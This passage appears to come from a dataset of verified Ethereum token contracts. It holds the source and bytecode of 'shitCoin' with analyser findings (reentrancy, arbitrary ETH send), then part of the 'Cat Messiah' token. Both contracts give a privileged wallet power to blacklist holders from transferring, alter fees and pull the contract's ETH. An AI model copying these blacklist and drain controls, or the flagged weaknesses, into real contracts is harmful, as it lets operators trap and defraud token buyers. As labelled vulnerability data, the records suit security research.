zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract shitCoin is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redis = 3; uint256 private _tax = 12; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; string private constant _name = "shitCoin | t.me/legitshitcoin"; string private constant _symbol = "shitCoin"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable _add1) { _feeAddrWallet1 = _add1; _rOwned[owner()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; emit Transfer(address(0),owner(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (from != address(this)) { _feeAddr1 = _redis; _feeAddr2 = _tax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (10 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { if(contractTokenBalance > 0){ swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 100000000000000000) { sendETHToFee(address(this).balance); } } } if( from == owner()){ _feeAddr2 = 0; _feeAddr1 = 0; } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function liftMaxTx() external onlyOwner{ _maxTxAmount = _tTotal ; } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount); } function taxFork (uint256 redistribution, uint256 tax) external{ require(_msgSender() == _feeAddrWallet1); require(redistribution < 15); require(tax <= 10); _redis = redistribution; _tax = tax; } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = _tTotal/100; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function flushOutTheShit(address _address) external { require(_msgSender() == _feeAddrWallet1); bots[_address] = true; } function shitHim(address notbot) external { require(_msgSender() == _feeAddrWallet1); bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101185760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb1461032b578063c3c8cd801461034b578063c9567bf914610360578063dd62ed3e14610375578063f45d40fa146103bb57600080fd5b806370a082311461027d578063715018a61461029d5780638da5cb5b146102b257806395d89b41146102da578063a0a2cdbb1461030b57600080fd5b806323b872dd116100e757806323b872dd146101f75780632ab3083814610217578063313ce5671461022c5780635932ead1146102485780636fc3eaec1461026857600080fd5b806306fdde0314610124578063095ea7b31461017c5780631480b5aa146101ac57806318160ddd146101ce57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152601d81527f73686974436f696e207c20742e6d652f6c6567697473686974636f696e00000060208201525b6040516101739190611643565b60405180910390f35b34801561018857600080fd5b5061019c610197366004611592565b6103db565b6040519015158152602001610173565b3480156101b857600080fd5b506101cc6101c73660046115f5565b6103f2565b005b3480156101da57600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610173565b34801561020357600080fd5b5061019c610212366004611552565b610438565b34801561022357600080fd5b506101cc6104a1565b34801561023857600080fd5b5060405160098152602001610173565b34801561025457600080fd5b506101cc6102633660046115bd565b6104e6565b34801561027457600080fd5b506101cc61052e565b34801561028957600080fd5b506101e96102983660046114e2565b61055b565b3480156102a957600080fd5b506101cc61057d565b3480156102be57600080fd5b506000546040516001600160a01b039091168152602001610173565b3480156102e657600080fd5b5060408051808201909152600881526739b434ba21b7b4b760c11b6020820152610166565b34801561031757600080fd5b506101cc6103263660046114e2565b6105f1565b34801561033757600080fd5b5061019c610346366004611592565b610632565b34801561035757600080fd5b506101cc61063f565b34801561036c57600080fd5b506101cc610675565b34801561038157600080fd5b506101e961039036600461151a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156103c757600080fd5b506101cc6103d63660046114e2565b610a5c565b60006103e8338484610aa0565b5060015b92915050565b600e546001600160a01b0316336001600160a01b03161461041257600080fd5b600f821061041f57600080fd5b600a81111561042d57600080fd5b600a91909155600b55565b6000610445848484610bc4565b6104978433610492856040518060600160405280602881526020016117e3602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610dd8565b610aa0565b5060019392505050565b6000546001600160a01b031633146104d45760405162461bcd60e51b81526004016104cb90611696565b60405180910390fd5b6b033b2e3c9fd0803ce8000000601155565b6000546001600160a01b031633146105105760405162461bcd60e51b81526004016104cb90611696565b60108054911515600160b81b0260ff60b81b19909216919091179055565b600e546001600160a01b0316336001600160a01b03161461054e57600080fd5b4761055881610e12565b50565b6001600160a01b0381166000908152600260205260408120546103ec90610e4c565b6000546001600160a01b031633146105a75760405162461bcd60e51b81526004016104cb90611696565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600e546001600160a01b0316336001600160a01b03161461061157600080fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b60006103e8338484610bc4565b600e546001600160a01b0316336001600160a01b03161461065f57600080fd5b600061066a3061055b565b905061055881610ed0565b6000546001600160a01b0316331461069f5760405162461bcd60e51b81526004016104cb90611696565b601054600160a01b900460ff16156106f95760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104cb565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561073930826b033b2e3c9fd0803ce8000000610aa0565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561077257600080fd5b505afa158015610786573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107aa91906114fe565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107f257600080fd5b505afa158015610806573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082a91906114fe565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561087257600080fd5b505af1158015610886573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108aa91906114fe565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d71947306108da8161055b565b6000806108ef6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561095257600080fd5b505af1158015610966573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061098b9190611616565b50506010805461ffff60b01b191661010160b01b179055506109ba60646b033b2e3c9fd0803ce8000000611753565b60115560108054600160a01b60ff60a01b19821617909155600f5460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610a2057600080fd5b505af1158015610a34573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a5891906115d9565b5050565b600e546001600160a01b0316336001600160a01b031614610a7c57600080fd5b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6001600160a01b038316610b025760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104cb565b6001600160a01b038216610b635760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104cb565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008111610c265760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104cb565b6001600160a01b03831660009081526006602052604090205460ff1615610c4c57600080fd5b6001600160a01b0383163014610da757600a54600c55600b54600d556010546001600160a01b038481169116148015610c935750600f546001600160a01b03838116911614155b8015610cb857506001600160a01b03821660009081526005602052604090205460ff16155b8015610ccd5750601054600160b81b900460ff165b15610d2a57601154811115610ce157600080fd5b6001600160a01b0382166000908152600760205260409020544211610d0557600080fd5b610d1042600a61173b565b6001600160a01b0383166000908152600760205260409020555b6000610d353061055b565b601054909150600160a81b900460ff16158015610d6057506010546001600160a01b03858116911614155b8015610d755750601054600160b01b900460ff165b15610da5578015610d8957610d8981610ed0565b4767016345785d8a0000811115610da357610da347610e12565b505b505b6000546001600160a01b0384811691161415610dc8576000600d819055600c555b610dd3838383611075565b505050565b60008184841115610dfc5760405162461bcd60e51b81526004016104cb9190611643565b506000610e098486611792565b95945050505050565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610a58573d6000803e3d6000fd5b6000600854821115610eb35760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104cb565b6000610ebd611080565b9050610ec983826110a3565b9392505050565b6010805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f2657634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610f7a57600080fd5b505afa158015610f8e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fb291906114fe565b81600181518110610fd357634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600f54610ff99130911684610aa0565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110329085906000908690309042906004016116cb565b600060405180830381600087803b15801561104c57600080fd5b505af1158015611060573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b610dd38383836110e5565b600080600061108d6111dc565b909250905061109c82826110a3565b9250505090565b6000610ec983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611224565b6000806000806000806110f787611252565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061112990876112af565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461115890866112f1565b6001600160a01b03891660009081526002602052604090205561117a81611350565b611184848361139a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516111c991815260200190565b60405180910390a3505050505050505050565b60085460009081906b033b2e3c9fd0803ce80000006111fb82826110a3565b82101561121b575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b600081836112455760405162461bcd60e51b81526004016104cb9190611643565b506000610e098486611753565b600080600080600080600080600061126f8a600c54600d546113be565b925092509250600061127f611080565b905060008060006112928e878787611413565b919e509c509a509598509396509194505050505091939550919395565b6000610ec983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610dd8565b6000806112fe838561173b565b905083811015610ec95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104cb565b600061135a611080565b905060006113688383611463565b3060009081526002602052604090205490915061138590826112f1565b30600090815260026020526040902055505050565b6008546113a790836112af565b6008556009546113b790826112f1565b6009555050565b60008080806113d860646113d28989611463565b906110a3565b905060006113eb60646113d28a89611463565b90506000611403826113fd8b866112af565b906112af565b9992985090965090945050505050565b60008080806114228886611463565b905060006114308887611463565b9050600061143e8888611463565b90506000611450826113fd86866112af565b939b939a50919850919650505050505050565b600082611472575060006103ec565b600061147e8385611773565b90508261148b8583611753565b14610ec95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104cb565b6000602082840312156114f3578081fd5b8135610ec9816117bf565b60006020828403121561150f578081fd5b8151610ec9816117bf565b6000806040838503121561152c578081fd5b8235611537816117bf565b91506020830135611547816117bf565b809150509250929050565b600080600060608486031215611566578081fd5b8335611571816117bf565b92506020840135611581816117bf565b929592945050506040919091013590565b600080604083850312156115a4578182fd5b82356115af816117bf565b946020939093013593505050565b6000602082840312156115ce578081fd5b8135610ec9816117d4565b6000602082840312156115ea578081fd5b8151610ec9816117d4565b60008060408385031215611607578182fd5b50508035926020909101359150565b60008060006060848603121561162a578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b8181101561166f57858101830151858201604001528201611653565b818111156116805783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b8181101561171a5784516001600160a01b0316835293830193918301916001016116f5565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561174e5761174e6117a9565b500190565b60008261176e57634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561178d5761178d6117a9565b500290565b6000828210156117a4576117a46117a9565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461055857600080fd5b801515811461055857600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220566d8350ff6e0e7257aab5d2da16a540eacbf4a97b099d5c2126850e8bf455c064736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,438
0x484Ece760f630073e6C32F5cD6016014190d9B85
/** *Submitted for verification at Etherscan.io on 2021-06-10 */ // Cat Messiah ($cMessiah) // Telegram: https://t.me/catmessiah_official // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract CATMESSIAH is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Cat Messiah"; string private constant _symbol = "cMessiah"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 1; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _cooldownSeconds = 40; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (_cooldownSeconds * 1 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function addLiquidityETH() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 5000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function setCooldownSeconds(uint256 cooldownSecs) external onlyOwner() { 